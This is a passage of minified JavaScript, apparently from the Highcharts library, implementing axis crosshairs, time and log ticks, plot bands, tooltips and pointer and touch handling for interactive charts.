t=this,f=t.stacks,i=t.plotLinesAndBands,u;if(n||b(t),e(f,function(n,t){y(n),f[t]=null}),r([t.ticks,t.minorTicks,t.alternateBands],function(n){y(n)}),i)for(n=i.length;n--;)i[n].destroy();r("stackTotalGroup axisLine axisTitle axisGroup gridGroup labelGroup cross".split(" "),function(n){t[n]&&(t[n]=t[n].destroy())});for(u in t.plotLinesAndBandsGroups)t.plotLinesAndBandsGroups[u]=t.plotLinesAndBandsGroups[u].destroy();e(t,function(n,i){-1===h(i,t.keepProps)&&delete t[i]})},drawCrosshair:function(n,r){var o,u=this.crosshair,s=t(u.snap,!0),e,f=this.cross;n||(n=this.cross&&this.cross.e),this.crosshair&&!1!==(i(r)||!s)?(s?i(r)&&(e=this.isXAxis?r.plotX:this.len-r.plotY):e=n&&(this.horiz?n.chartX-this.pos:this.len-n.chartY+this.pos),i(e)&&(o=this.getPlotLinePath(r&&(this.isXAxis?r.x:t(r.stackY,r.y)),null,null,null,e)||null),i(o)?(r=this.categories&&!this.isRadial,f||(this.cross=f=this.chart.renderer.path().addClass("highcharts-crosshair highcharts-crosshair-"+(r?"category ":"thin ")+u.className).attr({zIndex:t(u.zIndex,2)}).add(),f.attr({stroke:u.color||(r?it("#ccd6eb").setOpacity(.25).get():"#cccccc"),"stroke-width":t(u.width,1)}).css({"pointer-events":"none"}),u.dashStyle&&f.attr({dashstyle:u.dashStyle})),f.show().attr({d:o}),r&&!u.width&&f.attr({"stroke-width":this.transA}),this.cross.e=n):this.hideCrosshair()):this.hideCrosshair()},hideCrosshair:function(){this.cross&&this.cross.hide()}}),n.Axis=a}(t),function(n){var u=n.Axis,i=n.Date,c=n.dateFormat,h=n.defaultOptions,a=n.defined,f=n.each,l=n.extend,s=n.getMagnitude,r=n.getTZOffset,o=n.normalizeTickInterval,e=n.pick,t=n.timeUnits;u.prototype.getTimeTicks=function(n,u,o,s){var k=[],rt={},b=h.global.useUTC,w,v=new i(u-Math.max(r(u),r(o))),d=i.hcMakeTime,y=n.unitRange,p=n.count,g,nt,tt,it;if(a(u)){for(v[i.hcSetMilliseconds](y>=t.second?0:p*Math.floor(v.getMilliseconds()/p)),y>=t.second&&v[i.hcSetSeconds](y>=t.minute?0:p*Math.floor(v.getSeconds()/p)),y>=t.minute&&v[i.hcSetMinutes](y>=t.hour?0:p*Math.floor(v[i.hcGetMinutes]()/p)),y>=t.hour&&v[i.hcSetHours](y>=t.day?0:p*Math.floor(v[i.hcGetHours]()/p)),y>=t.day&&v[i.hcSetDate](y>=t.month?1:p*Math.floor(v[i.hcGetDate]()/p)),y>=t.month&&(v[i.hcSetMonth](y>=t.year?0:p*Math.floor(v[i.hcGetMonth]()/p)),w=v[i.hcGetFullYear]()),y>=t.year&&v[i.hcSetFullYear](w-w%p),y===t.week&&v[i.hcSetDate](v[i.hcGetDate]()-v[i.hcGetDay]()+e(s,1)),w=v[i.hcGetFullYear](),s=v[i.hcGetMonth](),tt=v[i.hcGetDate](),it=v[i.hcGetHours](),(i.hcTimezoneOffset||i.hcGetTimezoneOffset)&&(nt=(!b||!!i.hcGetTimezoneOffset)&&(o-u>4*t.month||r(u)!==r(o)),v=v.getTime(),g=r(v),v=new i(v+g)),b=v.getTime(),u=1;b<o;)k.push(b),b=y===t.year?d(w+u*p,0):y===t.month?d(w,s+u*p):!nt||y!==t.day&&y!==t.week?nt&&y===t.hour?d(w,s,tt,it+u*p,0,0,g)-g:b+y*p:d(w,s,tt+u*p*(y===t.day?1:7)),u++;k.push(b),y<=t.hour&&1e4>k.length&&f(k,function(n){0==n%18e5&&"000000000"===c("%H%M%S%L",n)&&(rt[n]="day")})}return k.info=l(n,{higherRanks:rt,totalRange:y*p}),k},u.prototype.normalizeTimeTickInterval=function(n,i){var e=i||[["millisecond",[1,2,5,10,20,25,50,100,200,500]],["second",[1,2,5,10,15,30]],["minute",[1,2,5,10,15,30]],["hour",[1,2,3,4,6,8,12]],["day",[1,2]],["week",[1,2]],["month",[1,2,3,4,6]],["year",null]],r,f,u;for(i=e[e.length-1],r=t[i[0]],f=i[1],u=0;u<e.length&&!(i=e[u],r=t[i[0]],f=i[1],e[u+1]&&n<=(r*f[f.length-1]+t[e[u+1][0]])/2);u++);return r===t.year&&n<5*r&&(f=[1,2,5]),n=o(n/r,f,"year"===i[0]?Math.max(s(n/r),1):1),{unitRange:r,count:n,unitName:i[0]}}}(t),function(n){var t=n.Axis,u=n.getMagnitude,f=n.map,i=n.normalizeTickInterval,r=n.pick;t.prototype.getLogTickPositions=function(n,t,e,o){var c=this.options,s=this.len,p=this.lin2log,b=this.log2lin,a=[],l,w,v,h,y;if(o||(this._minorAutoInterval=null),.5<=n)n=Math.round(n),a=this.getLinearTickPositions(n,t,e);else if(.08<=n)for(s=Math.floor(t),c=.3<n?[1,2,4]:.15<n?[1,2,4,6,8]:[1,2,3,4,5,6,7,8,9];s<e+1&&!y;s++)for(w=c.length,l=0;l<w&&!y;l++)v=b(p(s)*c[l]),v>t&&(!o||h<=e)&&void 0!==h&&a.push(h),h>e&&(y=!0),h=v;else t=p(t),e=p(e),n=o?this.getMinorTickInterval():c.tickInterval,n=r("auto"===n?null:n,this._minorAutoInterval,c.tickPixelInterval/(o?5:1)*(e-t)/((o?s/this.tickPositions.length:s)||1)),n=i(n,null,u(n)),a=f(this.getLinearTickPositions(n,t,e),b),o||(this._minorAutoInterval=n/5);return o||(this.tickInterval=n),a},t.prototype.log2lin=function(n){return Math.log(n)/Math.LN10},t.prototype.lin2log=function(n){return Math.pow(10,n)}}(t),function(n,t){var u=n.arrayMax,f=n.arrayMin,i=n.defined,s=n.destroyObjectProperties,h=n.each,r=n.erase,o=n.merge,e=n.pick;n.PlotLineOrBand=function(n,t){this.axis=n,t&&(this.options=t,this.id=t.id)},n.PlotLineOrBand.prototype={render:function(){var h=this,f=h.axis,v=f.horiz,r=h.options,a=r.label,l=h.label,w=r.to,y=r.from,p=r.value,u=i(y)&&i(w),nt=i(p),s=h.svgElem,it=!s,t=[],c=r.color,d=e(r.zIndex,0),k=r.events,t={"class":"highcharts-plot-"+(u?"band ":"line ")+(r.className||"")},rt={},tt=f.chart.renderer,b=u?"bands":"lines",g=f.log2lin;if(f.isLog&&(y=g(y),w=g(w),p=g(p)),nt?(t={stroke:c,"stroke-width":r.width},r.dashStyle&&(t.dashstyle=r.dashStyle)):u&&(c&&(t.fill=c),r.borderWidth&&(t.stroke=r.borderColor,t["stroke-width"]=r.borderWidth)),rt.zIndex=d,b+="-"+d,(c=f.plotLinesAndBandsGroups[b])||(f.plotLinesAndBandsGroups[b]=c=tt.g("plot-"+b).attr(rt).add()),it&&(h.svgElem=s=tt.path().attr(t).add(c)),nt)t=f.getPlotLinePath(p,s.strokeWidth());else if(u)t=f.getPlotBandPath(y,w,r);else return;return it&&t&&t.length?(s.attr({d:t}),k&&n.objectEach(k,function(n,t){s.on(t,function(n){k[t].apply(h,[n])})})):s&&(t?(s.show(),s.animate({d:t})):(s.hide(),l&&(h.label=l=l.destroy()))),a&&i(a.text)&&t&&t.length&&0<f.width&&0<f.height&&!t.flat?(a=o({align:v&&u&&"center",x:v?!u&&4:10,verticalAlign:!v&&u&&"middle",y:v?u?16:10:u?6:-4,rotation:v&&!u&&90},a),this.renderLabel(a,t,u,d)):l&&l.hide(),h},renderLabel:function(n,t,i,r){var e=this.label,o=this.axis.chart.renderer;e||(e={align:n.textAlign||n.align,rotation:n.rotation,"class":"highcharts-plot-"+(i?"band":"line")+"-label "+(n.className||"")},e.zIndex=r,this.label=e=o.text(n.text,0,0,n.useHTML).attr(e).add(),e.css(n.style)),r=t.xBounds||[t[1],t[4],i?t[6]:t[1]],t=t.yBounds||[t[2],t[5],i?t[7]:t[2]],i=f(r),o=f(t),e.align(n,!1,{x:i,y:o,width:u(r)-i,height:u(t)-o}),e.show()},destroy:function(){r(this.axis.plotLinesAndBands,this),delete this.axis,s(this)}},n.extend(t.prototype,{getPlotBandPath:function(n,t){var i=this.getPlotLinePath(t,null,null,!0),r=this.getPlotLinePath(n,null,null,!0),f=[],o=this.horiz,u=1,e;if(n=n<this.min&&t<this.min||n>this.max&&t>this.max,r&&i)for(n&&(e=r.toString()===i.toString(),u=0),n=0;n<r.length;n+=6)o&&i[n+1]===r[n+1]?(i[n+1]+=u,i[n+4]+=u):o||i[n+2]!==r[n+2]||(i[n+2]+=u,i[n+5]+=u),f.push("M",r[n+1],r[n+2],"L",r[n+4],r[n+5],i[n+4],i[n+5],i[n+1],i[n+2],"z"),f.flat=e;return f},addPlotBand:function(n){return this.addPlotBandOrLine(n,"plotBands")},addPlotLine:function(n){return this.addPlotBandOrLine(n,"plotLines")},addPlotBandOrLine:function(t,i){var u=new n.PlotLineOrBand(this,t).render(),r=this.userOptions;return u&&(i&&(r[i]=r[i]||[],r[i].push(t)),this.plotLinesAndBands.push(u)),u},removePlotBandOrLine:function(n){for(var i=this.plotLinesAndBands,u=this.options,f=this.userOptions,t=i.length;t--;)i[t].id===n&&i[t].destroy();h([u.plotLines||[],f.plotLines||[],u.plotBands||[],f.plotBands||[]],function(i){for(t=i.length;t--;)i[t].id===n&&r(i,i[t])})},removePlotBand:function(n){this.removePlotBandOrLine(n)},removePlotLine:function(n){this.removePlotBandOrLine(n)}})}(t,i),function(n){var f=n.dateFormat,i=n.each,l=n.extend,c=n.format,s=n.isNumber,e=n.map,o=n.merge,t=n.pick,r=n.splat,h=n.syncTimeout,u=n.timeUnits;n.Tooltip=function(){this.init.apply(this,arguments)},n.Tooltip.prototype={init:function(n,t){this.chart=n,this.options=t,this.crosshairs=[],this.now={x:0,y:0},this.isHidden=!0,this.split=t.split&&!n.inverted,this.shared=t.shared||this.split},cleanSplit:function(n){i(this.chart.series,function(t){var i=t&&t.tt;i&&(!i.isActive||n?t.tt=i.destroy():i.isActive=!1)})},getLabel:function(){var t=this.chart.renderer,n=this.options;return this.label||(this.split?this.label=t.g("tooltip"):(this.label=t.label("",0,0,n.shape||"callout",null,null,n.useHTML,null,"tooltip").attr({padding:n.padding,r:n.borderRadius}),this.label.attr({fill:n.backgroundColor,"stroke-width":n.borderWidth}).css(n.style).shadow(n.shadow)),this.label.attr({zIndex:8}).add()),this.label},update:function(n){this.destroy(),o(!0,this.chart.options.tooltip.userOptions,n),this.init(this.chart,o(!0,this.options,n))},destroy:function(){this.label&&(this.label=this.label.destroy()),this.split&&this.tt&&(this.cleanSplit(this.chart,!0),this.tt=this.tt.destroy()),clearTimeout(this.hideTimer),clearTimeout(this.tooltipTimeout)},move:function(n,t,i,r){var f=this,u=f.now,e=!1!==f.options.animation&&!f.isHidden&&(1<Math.abs(n-u.x)||1<Math.abs(t-u.y)),o=f.followPointer||1<f.len;l(u,{x:e?(2*u.x+n)/3:n,y:e?(u.y+t)/2:t,anchorX:o?void 0:e?(2*u.anchorX+i)/3:i,anchorY:o?void 0:e?(u.anchorY+r)/2:r}),f.getLabel().attr(u),e&&(clearTimeout(this.tooltipTimeout),this.tooltipTimeout=setTimeout(function(){f&&f.move(n,t,i,r)},32))},hide:function(n){var i=this;clearTimeout(this.hideTimer),n=t(n,this.options.hideDelay,500),this.isHidden||(this.hideTimer=h(function(){i.getLabel()[n?"fadeOut":"hide"](),i.isHidden=!0},n))},getAnchor:function(n,t){var o,u=this.chart,f=u.inverted,a=u.plotTop,v=u.plotLeft,s=0,h=0,c,l;return n=r(n),o=n[0].tooltipPos,this.followPointer&&t&&(void 0===t.chartX&&(t=u.pointer.normalize(t)),o=[t.chartX-u.plotLeft,t.chartY-a]),o||(i(n,function(n){c=n.series.yAxis,l=n.series.xAxis,s+=n.plotX+(!f&&l?l.left-v:0),h+=(n.plotLow?(n.plotLow+n.plotHigh)/2:n.plotY)+(!f&&c?c.top-a:0)}),s/=n.length,h/=n.length,o=[f?u.plotWidth-h:s,this.shared&&!f&&1<n.length&&t?t.chartY-a:f?u.plotHeight-s:h]),e(o,Math.round)},getPosition:function(n,i,r){var u=this.chart,e=this.distance,f={},o=u.inverted&&r.h||0,a,l=["y",u.chartHeight,i,r.plotY+u.plotTop,u.plotTop,u.plotTop+u.plotHeight],c=["x",u.chartWidth,n,r.plotX+u.plotLeft,u.plotLeft,u.plotLeft+u.plotWidth],v=!this.followPointer&&t(r.ttBelow,!u.inverted==!!r.negative),p=function(n,t,i,r,u,s){var c=i<r-e,l=r+e+i<t,h=r-e-i;if(r+=e,v&&l)f[n]=r;else if(!v&&c)f[n]=h;else if(c)f[n]=Math.min(s-i,0>h-o?h:h-o);else if(l)f[n]=Math.max(u,r+o+i>t?r:r+o);else return!1},y=function(n,t,i,r){var u;return r<e||r>t-e?u=!1:f[n]=r<i/2?1:r>t-i/2?t-i-2:r-i/2,u},s=function(n){var t=l;l=c,c=t,a=n},h=function(){!1!==p.apply(0,l)?!1!==y.apply(0,c)||a||(s(!0),h()):a?f.x=f.y=0:(s(!0),h())};return(u.inverted||1<this.len)&&s(),h(),f},defaultFormatter:function(n){var i=this.points||r(this),t;return t=[n.tooltipFooterHeaderFormatter(i[0])],t=t.concat(n.bodyFormatter(i)),t.push(n.tooltipFooterHeaderFormatter(i[0],!0)),t},refresh:function(n,u){var o,h=this.options,a,f=n,s,e={},l=[],c;o=h.formatter||this.defaultFormatter,e=this.shared,h.enabled&&(clearTimeout(this.hideTimer),this.followPointer=r(f)[0].series.tooltipOptions.followPointer,s=this.getAnchor(f,u),u=s[0],a=s[1],!e||f.series&&f.series.noSharedTooltip?e=f.getLabelConfig():(i(f,function(n){n.setState("hover"),l.push(n.getLabelConfig())}),e={x:f[0].category,y:f[0].y},e.points=l,f=f[0]),this.len=l.length,e=o.call(e,this),c=f.series,this.distance=t(c.tooltipOptions.distance,16),!1===e?this.hide():(o=this.getLabel(),this.isHidden&&o.attr({opacity:1}).show(),this.split?this.renderSplit(e,r(n)):(h.style.width||o.css({width:this.chart.spacingBox.width}),o.attr({text:e&&e.join?e.join(""):e}),o.removeClass(/highcharts-color-[\d]+/g).addClass("highcharts-color-"+t(f.colorIndex,c.colorIndex)),o.attr({stroke:h.borderColor||f.color||c.color||"#666666"}),this.updatePosition({plotX:u,plotY:a,negative:f.negative,ttBelow:f.ttBelow,h:s[2]||0})),this.isHidden=!1))},renderSplit:function(r,u){var l=this,o=[],f=this.chart,a=f.renderer,h=!0,e=this.options,s=0,c=this.getLabel();n.isString(r)&&(r=[!1,r]),i(r.slice(0,u.length+1),function(n,i){if(!1!==n){i=u[i-1]||{isHeader:!0,plotX:u[0].plotX};var y=i.series||l,v=y.tt,r=i.series||{},p="highcharts-color-"+t(i.colorIndex,r.colorIndex,"none");v||(y.tt=v=a.label(null,null,null,"callout",null,null,e.useHTML).addClass("highcharts-tooltip-box "+p).attr({padding:e.padding,r:e.borderRadius,fill:e.backgroundColor,stroke:e.borderColor||i.color||r.color||"#333333","stroke-width":e.borderWidth}).add(c)),v.isActive=!0,v.attr({text:n}),v.css(e.style).shadow(e.shadow),n=v.getBBox(),r=n.width+v.strokeWidth(),i.isHeader?(s=n.height,r=Math.max(0,Math.min(i.plotX+f.plotLeft-r/2,f.chartWidth-r))):r=i.plotX+f.plotLeft-t(e.distance,16)-r,0>r&&(h=!1),n=(i.series&&i.series.yAxis&&i.series.yAxis.pos)+(i.plotY||0),n-=f.plotTop,o.push({target:i.isHeader?f.plotHeight+s:n,rank:i.isHeader?1:0,size:y.tt.getBBox().height+1,point:i,x:r,tt:v})}}),this.cleanSplit(),n.distribute(o,f.plotHeight+s),i(o,function(n){var i=n.point,r=i.series;n.tt.attr({visibility:void 0===n.pos?"hidden":"inherit",x:h||i.isHeader?n.x:i.plotX+f.plotLeft+t(e.distance,16),y:n.pos+f.plotTop,anchorX:i.isHeader?i.plotX+f.plotLeft:i.plotX+r.xAxis.pos,anchorY:i.isHeader?n.pos+f.plotTop-15:i.plotY+r.yAxis.pos})})},updatePosition:function(n){var i=this.chart,t=this.getLabel(),t=(this.options.positioner||this.getPosition).call(this,t.width,t.height,n);this.move(Math.round(t.x),Math.round(t.y||0),n.plotX+i.plotLeft,n.plotY+i.plotTop)},getDateFormat:function(n,t,i,r){var h=f("%m-%d %H:%M:%S.%L",t),c,e,o={millisecond:15,second:12,minute:9,hour:6,day:3},s="millisecond";for(e in u){if(n===u.week&&+f("%w",t)===i&&"00:00:00.000"===h.substr(6)){e="week";break}if(u[e]>n){e=s;break}if(o[e]&&h.substr(o[e])!=="01-01 00:00:00.000".substr(o[e]))break;"week"!==e&&(s=e)}return e&&(c=r[e]),c},getXDateFormat:function(n,t,i){t=t.dateTimeLabelFormats;var r=i&&i.closestPointRange;return(r?this.getDateFormat(r,n.x,i.options.startOfWeek,t):t.day)||t.year},tooltipFooterHeaderFormatter:function(n,t){t=t?"footer":"header";var e=n.series,o=e.tooltipOptions,r=o.xDateFormat,f=e.xAxis,h=f&&"datetime"===f.options.type&&s(n.key),u=o[t+"Format"];return h&&!r&&(r=this.getXDateFormat(n,o,f)),h&&r&&i(n.point&&n.point.tooltipDateKeys||["key"],function(n){u=u.replace("{point."+n+"}","{point."+n+":"+r+"}")}),c(u,{point:n,series:e})},bodyFormatter:function(n){return e(n,function(n){var t=n.series.tooltipOptions;return(t[(n.point.formatPrefix||"point")+"Formatter"]||n.point.tooltipFormatter).call(n.point,t[(n.point.formatPrefix||"point")+"Format"])})}}}(t),function(n){var u=n.addEvent,a=n.attr,i=n.charts,c=n.color,y=n.css,h=n.defined,t=n.each,f=n.extend,v=n.find,o=n.fireEvent,e=n.isObject,p=n.offset,r=n.pick,l=n.splat,s=n.Tooltip;n.Pointer=function(n,t){this.init(n,t)},n.Pointer.prototype={init:function(n,t){this.options=t,this.chart=n,this.runChartClick=t.chart.events&&!!t.chart.events.click,this.pinchDown=[],this.lastValidTouch={},s&&(n.tooltip=new s(n,t.tooltip),this.followTouchMove=r(t.tooltip.followTouchMove,!0)),this.setDOMEvents()},zoomOption:function(n){var i=this.chart,u=i.options.chart,t=u.zoomType||"",i=i.inverted;/touch/.test(n.type)&&(t=r(u.pinchType,t)),this.zoomX=n=/x/.test(t),this.zoomY=t=/y/.test(t),this.zoomHor=n&&!i||t&&i,this.zoomVert=t&&!i||n&&i,this.hasZoom=n||t},normalize:function(n,t){var i;return i=n.touches?n.touches.length?n.touches.item(0):n.changedTouches[0]:n,t||(this.chartPosition=t=p(this.chart.container)),f(n,{chartX:Math.round(i.pageX-t.left),chartY:Math.round(i.pageY-t.top)})},getCoordinates:function(n){var i={xAxis:[],yAxis:[]};return t(this.chart.axes,function(t){i[t.isXAxis?"xAxis":"yAxis"].push({axis:t,value:t.toValue(n[t.horiz?"chartX":"chartY"])})}),i},findNearestKDPoint:function(n,i,r){var u;return t(n,function(n){var t=!(n.noSharedTooltip&&i)&&0>n.options.findNearestPointBy.indexOf("y");if(n=n.searchPoint(r,t),(t=e(n,!0))&&!(t=!e(u,!0)))var t=u.distX-n.distX,o=u.dist-n.dist,f=(n.series.group&&n.series.group.zIndex)-(u.series.group&&u.series.group.zIndex),t=0<(0!==t&&i?t:0!==o?o:0!==f?f:u.series.index>n.series.index?-1:1);t&&(u=n)}),u},getPointFromEvent:function(n){n=n.target;for(var t;n&&!t;)t=n.point,n=n.parentNode;return t},getChartCoordinatesFromPoint:function(n,t){var i=n.series,u=i.xAxis,i=i.yAxis,f=r(n.clientX,n.plotX);if(u&&i)return t?{chartX:u.len+u.pos-f,chartY:i.len+i.pos-n.plotY}:{chartX:f+u.pos,chartY:n.plotY+i.pos}},getHoverData:function(i,u,f,o,s,h,c){var l,a=[],y=c&&c.isBoosting;return o=!(!o||!i),c=u&&!u.stickyTracking?[u]:n.grep(f,function(n){return n.visible&&!(!s&&n.directTouch)&&r(n.options.enableMouseTracking,!0)&&n.stickyTracking}),u=(l=o?i:this.findNearestKDPoint(c,s,h))&&l.series,l&&(s&&!u.noSharedTooltip?(c=n.grep(f,function(n){return n.visible&&!(!s&&n.directTouch)&&r(n.options.enableMouseTracking,!0)&&!n.noSharedTooltip}),t(c,function(n){var t=v(n.points,function(n){return n.x===l.x&&!n.isNull});e(t)&&(y&&(t=n.getPoint(t)),a.push(t))})):a.push(l)),{hoverPoint:l,hoverSeries:u,hoverPoints:a}},runPointActions:function(f,e){var o=this.chart,c=o.tooltip&&o.tooltip.options.enabled?o.tooltip:void 0,a=c?c.shared:!1,s=e||o.hoverPoint,h=s&&s.series||o.hoverSeries,h=this.getHoverData(s,h,o.series,!!e||h&&h.directTouch&&this.isDirectTouch,a,f,{isBoosting:o.isBoosting}),l,s=h.hoverPoint;if(l=h.hoverPoints,e=(h=h.hoverSeries)&&h.tooltipOptions.followPointer,a=a&&h&&!h.noSharedTooltip,s&&(s!==o.hoverPoint||c&&c.isHidden)){if(t(o.hoverPoints||[],function(t){-1===n.inArray(t,l)&&t.setState()}),t(l||[],function(n){n.setState("hover")}),o.hoverSeries!==h&&h.onMouseOver(),o.hoverPoint&&o.hoverPoint.firePointEvent("mouseOut"),!s.series)return;s.firePointEvent("mouseOver"),o.hoverPoints=l,o.hoverPoint=s,c&&c.refresh(a?l:s,f)}else e&&c&&!c.isHidden&&(s=c.getAnchor([{}],f),c.updatePosition({plotX:s[0],plotY:s[1]}));this.unDocMouseMove||(this.unDocMouseMove=u(o.container.ownerDocument,"mousemove",function(t){var r=i[n.hoverChartIndex];if(r)r.pointer.onDocumentMouseMove(t)})),t(o.axes,function(t){var u=r(t.crosshair.snap,!0),i=u?n.find(l,function(n){return n.series[t.coll]===t}):void 0;i||!u?t.drawCrosshair(f,i):t.hideCrosshair()})},reset:function(n,i){var r=this.chart,s=r.hoverSeries,u=r.hoverPoint,o=r.hoverPoints,f=r.tooltip,e=f&&f.shared?o:u;n&&e&&t(l(e),function(t){t.series.isCartesian&&void 0===t.plotX&&(n=!1)}),n?f&&e&&(f.refresh(e),u&&(u.setState(u.state,!0),t(r.axes,function(n){n.crosshair&&n.drawCrosshair(null,u)}))):(u&&u.onMouseOut(),o&&t(o,function(n){n.setState()}),s&&s.onMouseOut(),f&&f.hide(i),this.unDocMouseMove&&(this.unDocMouseMove=this.unDocMouseMove()),t(r.axes,function(n){n.hideCrosshair()}),this.hoverX=r.hoverPoints=r.hoverPoint=null)},scaleGroups:function(n,i){var u=this.chart,r;t(u.series,function(t){r=n||t.getPlotBox(),t.xAxis&&t.xAxis.zoomEnabled&&t.group&&(t.group.attr(r),t.markerGroup&&(t.markerGroup.attr(r),t.markerGroup.clip(i?u.clipRect:null)),t.dataLabelsGroup&&t.dataLabelsGroup.attr(r))}),u.clipRect.attr(i||u.clipBox)},dragStart:function(n){var t=this.chart;t.mouseIsDown=n.type,t.cancelClick=!1,t.mouseDownX=this.mouseDownX=n.chartX,t.mouseDownY=this.mouseDownY=n.chartY},drag:function(n){var r=this.chart,o=r.options.chart,t=n.chartX,e=n.chartY,y=this.zoomHor,p=this.zoomVert,u=r.plotLeft,f=r.plotTop,v=r.plotWidth,l=r.plotHeight,a,i=this.selectionMarker,s=this.mouseDownX,h=this.mouseDownY,w=o.panKey&&n[o.panKey+"Key"];i&&i.touch||(t<u?t=u:t>u+v&&(t=u+v),e<f?e=f:e>f+l&&(e=f+l),this.hasDragged=Math.sqrt(Math.pow(s-t,2)+Math.pow(h-e,2)),10<this.hasDragged&&(a=r.isInsidePlot(s-u,h-f),r.hasCartesianSeries&&(this.zoomX||this.zoomY)&&a&&!w&&!i&&(this.selectionMarker=i=r.renderer.rect(u,f,y?1:v,p?1:l,0).attr({fill:o.selectionMarkerFill||c("#335cad").setOpacity(.25).get(),"class":"highcharts-selection-marker",zIndex:7}).add()),i&&y&&(t-=s,i.attr({width:Math.abs(t),x:(0<t?0:t)+s})),i&&p&&(t=e-h,i.attr({height:Math.abs(t),y:(0<t?0:t)+h})),a&&!i&&o.panning&&r.pan(n,o.panning)))},drop:function(n){var a=this,r=this.chart,u=this.hasPinched;if(this.selectionMarker){var l={originalEvent:n,xAxis:[],yAxis:[]},i=this.selectionMarker,c=i.attr?i.attr("x"):i.x,e=i.attr?i.attr("y"):i.y,p=i.attr?i.attr("width"):i.width,v=i.attr?i.attr("height"):i.height,s;(this.hasDragged||u)&&(t(r.axes,function(t){if(t.zoomEnabled&&h(t.min)&&(u||a[{xAxis:"zoomX",yAxis:"zoomY"}[t.coll]])){var i=t.horiz,f="touchend"===n.type?t.minPixelPadding:0,r=t.toValue((i?c:e)+f),i=t.toValue((i?c+p:e+v)-f);l[t.coll].push({axis:t,min:Math.min(r,i),max:Math.max(r,i)}),s=!0}}),s&&o(r,"selection",l,function(n){r.zoom(f(n,u?{animation:!1}:null))})),this.selectionMarker=this.selectionMarker.destroy(),u&&this.scaleGroups()}r&&(y(r.container,{cursor:r._cursor}),r.cancelClick=10<this.hasDragged,r.mouseIsDown=this.hasDragged=this.hasPinched=!1,this.pinchDown=[])},onContainerMouseDown:function(n){n=this.normalize(n),this.zoomOption(n),n.preventDefault&&n.preventDefault(),this.dragStart(n)},onDocumentMouseUp:function(t){i[n.hoverChartIndex]&&i[n.hoverChartIndex].pointer.drop(t)},onDocumentMouseMove:function(n){var t=this.chart,i=this.chartPosition;n=this.normalize(n,i),!i||this.inClass(n.target,"highcharts-tracker")||t.isInsidePlot(n.chartX-t.plotLeft,n.chartY-t.plotTop)||this.reset()},onContainerMouseLeave:function(t){var r=i[n.hoverChartIndex];r&&(t.relatedTarget||t.toElement)&&(r.pointer.reset(),r.pointer.chartPosition=null)},onContainerMouseMove:function(t){var r=this.chart;h(n.hoverChartIndex)&&i[n.hoverChartIndex]&&i[n.hoverChartIndex].mouseIsDown||(n.hoverChartIndex=r.index),t=this.normalize(t),t.returnValue=!1,"mousedown"===r.mouseIsDown&&this.drag(t),!this.inClass(t.target,"highcharts-tracker")&&!r.isInsidePlot(t.chartX-r.plotLeft,t.chartY-r.plotTop)||r.openMenu||this.runPointActions(t)},inClass:function(n,t){for(var i;n;){if(i=a(n,"class")){if(-1!==i.indexOf(t))return!0;if(-1!==i.indexOf("highcharts-container"))return!1}n=n.parentNode}},onTrackerMouseOut:function(n){var t=this.chart.hoverSeries;n=n.relatedTarget||n.toElement,this.isDirectTouch=!1,!t||!n||t.stickyTracking||this.inClass(n,"highcharts-tooltip")||this.inClass(n,"highcharts-series-"+t.index)&&this.inClass(n,"highcharts-tracker")||t.onMouseOut()},onContainerClick:function(n){var t=this.chart,i=t.hoverPoint,u=t.plotLeft,r=t.plotTop;n=this.normalize(n),t.cancelClick||(i&&this.inClass(n.target,"highcharts-tracker")?(o(i.series,"click",f(n,{point:i})),t.hoverPoint&&i.firePointEvent("click",n)):(f(n,this.getCoordinates(n)),t.isInsidePlot(n.chartX-u,n.chartY-r)&&o(t,"click",n)))},setDOMEvents:function(){var t=this,i=t.chart.container,r=i.ownerDocument;i.onmousedown=function(n){t.onContainerMouseDown(n)},i.onmousemove=function(n){t.onContainerMouseMove(n)},i.onclick=function(n){t.onContainerClick(n)},this.unbindContainerMouseLeave=u(i,"mouseleave",t.onContainerMouseLeave),n.unbindDocumentMouseUp||(n.unbindDocumentMouseUp=u(r,"mouseup",t.onDocumentMouseUp)),n.hasTouch&&(i.ontouchstart=function(n){t.onContainerTouchStart(n)},i.ontouchmove=function(n){t.onContainerTouchMove(n)},n.unbindDocumentTouchEnd||(n.unbindDocumentTouchEnd=u(r,"touchend",t.onDocumentTouchEnd)))},destroy:function(){var t=this;t.unDocMouseMove&&t.unDocMouseMove(),this.unbindContainerMouseLeave(),n.chartCount||(n.unbindDocumentMouseUp&&(n.unbindDocumentMouseUp=n.unbindDocumentMouseUp()),n.unbindDocumentTouchEnd&&(n.unbindDocumentTouchEnd=n.unbindDocumentTouchEnd())),clearInterval(t.tooltipTimeout),n.objectEach(t,function(n,i){t[i]=null})}}}(t),function(n){var r=n.charts,u=n.each,i=n.extend,f=n.map,e=n.noop,t=n.pick;i(n.Pointer.prototype,{pinchTranslate:function(n,t,i,r,u,f){this.zoomHor&&this.pinchTranslateDirection(!0,n,t,i,r,u,f),this.zoomVert&&this.pinchTranslateDirection(!1,n,t,i,r,u,f)},pinchTranslateDirection:function(n,t,i,r,u,f,e,o){var p=this.chart,l=n?"x":"y",d=n?"X":"Y",b="chart"+d,it=n?"width":"height",g=p["plot"+(n?"Left":"Top")],c,tt,s=o||1,nt=p.inverted,v=p.bounds[n?"h":"v"],a=1===t.length,w=t[0][b],h=i[0][b],rt=!a&&t[1][b],y=!a&&i[1][b],k;i=function(){!a&&20<Math.abs(w-rt)&&(s=o||Math.abs(h-y)/Math.abs(w-rt)),tt=(g-h)/s+w,c=p["plot"+(n?"Width":"Height")]/s},i(),t=tt,t<v.min?(t=v.min,k=!0):t+c>v.max&&(t=v.max-c,k=!0),k?(h-=.8*(h-e[l][0]),a||(y-=.8*(y-e[l][1])),i()):e[l]=[h,y],nt||(f[l]=tt-g,f[it]=c),f=nt?1/s:s,u[it]=c,u[l]=t,r[nt?n?"scaleY":"scaleX":"scale"+d]=s,r["translate"+d]=f*g+(h-f*w)},pinch:function(n){var r=this,h=r.chart,o=r.pinchDown,s=n.touches,a=s.length,l=r.lastValidTouch,p=r.hasZoom,c=r.selectionMarker,y={},w=1===a&&(r.inClass(n.target,"highcharts-tracker")&&h.runTrackerClick||r.runChartClick),v={};1<a&&(r.initiated=!0),p&&r.initiated&&!w&&n.preventDefault(),f(s,function(n){return r.normalize(n)}),"touchstart"===n.type?(u(s,function(n,t){o[t]={chartX:n.chartX,chartY:n.chartY}}),l.x=[o[0].chartX,o[1]&&o[1].chartX],l.y=[o[0].chartY,o[1]&&o[1].chartY],u(h.axes,function(n){if(n.zoomEnabled){var 